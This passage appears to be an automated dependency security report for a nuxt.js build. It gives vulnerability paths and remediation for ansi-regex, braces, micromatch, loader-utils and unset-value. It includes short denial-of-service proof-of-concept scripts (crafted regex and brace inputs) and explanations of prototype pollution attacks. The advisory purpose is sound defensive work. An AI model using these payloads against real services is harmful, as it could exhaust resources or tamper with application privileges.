Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-exponentiation-operator@6.24.1 › babel-helper-builder-binary-assignment-operator-visitor@6.24.1 › babel-helper-explode-assignable-expression@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-exponentiation-operator@6.24.1 › babel-helper-builder-binary-assignment-operator-visitor@6.24.1 › babel-helper-explode-assignable-expression@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns [[\\]()#;?]*
and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*
.
PoC
import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = "\u001B["+";".repeat(i*10000);
ansiRegex().test(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ansi-regex
to version 3.0.1, 4.1.1, 5.0.1, 6.0.1 or higher.
References
high severity
- Vulnerable module: braces
- Introduced through: chokidar@1.7.0 and webpack@2.7.0
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › chokidar@1.7.0 › anymatch@1.3.2 › micromatch@2.3.11 › braces@1.8.5Remediation: Upgrade to chokidar@4.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › braces@2.3.2
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2
Overview
braces is a Bash-like brace expansion, implemented in JavaScript.
Affected versions of this package are vulnerable to Uncontrolled resource consumption due improper limitation of the number of characters it can handle, through the parse
function. An attacker can cause the application to allocate excessive memory and potentially crash by sending imbalanced braces as input.
PoC
const { braces } = require('micromatch');
console.log("Executing payloads...");
const maxRepeats = 10;
for (let repeats = 1; repeats <= maxRepeats; repeats += 1) {
const payload = '{'.repeat(repeats*90000);
console.log(`Testing with ${repeats} repeats...`);
const startTime = Date.now();
braces(payload);
const endTime = Date.now();
const executionTime = endTime - startTime;
console.log(`Regex executed in ${executionTime / 1000}s.\n`);
}
Remediation
Upgrade braces
to version 3.0.3 or higher.
References
high severity
- Vulnerable module: loader-utils
- Introduced through: html-webpack-plugin@2.30.1, offline-plugin@4.9.1 and others
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › html-webpack-plugin@2.30.1 › loader-utils@0.2.17Remediation: Upgrade to html-webpack-plugin@4.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › offline-plugin@4.9.1 › loader-utils@0.2.17
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › loader-utils@0.2.17Remediation: Upgrade to webpack@3.0.0.
Overview
Affected versions of this package are vulnerable to Prototype Pollution in parseQuery
function via the name variable in parseQuery.js
. This pollutes the prototype of the object returned by parseQuery
and not the global Object prototype (which is the commonly understood definition of Prototype Pollution). Therefore, the actual impact will depend on how applications utilize the returned object and how they filter unwanted keys.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade loader-utils
to version 1.4.1, 2.0.3 or higher.
References
high severity
- Vulnerable module: micromatch
- Introduced through: chokidar@1.7.0 and webpack@2.7.0
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › chokidar@1.7.0 › anymatch@1.3.2 › micromatch@2.3.11Remediation: Upgrade to chokidar@4.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10
Overview
Affected versions of this package are vulnerable to Inefficient Regular Expression Complexity due to the use of unsafe pattern configurations that allow greedy matching through the micromatch.braces()
function. An attacker can cause the application to hang or slow down by passing a malicious payload that triggers extensive backtracking in regular expression processing.
Remediation
Upgrade micromatch
to version 4.0.8 or higher.
References
high severity
- Vulnerable module: unset-value
- Introduced through: chokidar@1.7.0 and webpack@2.7.0
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
Overview
Affected versions of this package are vulnerable to Prototype Pollution via the unset
function in index.js
, because it allows access to object prototype properties.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
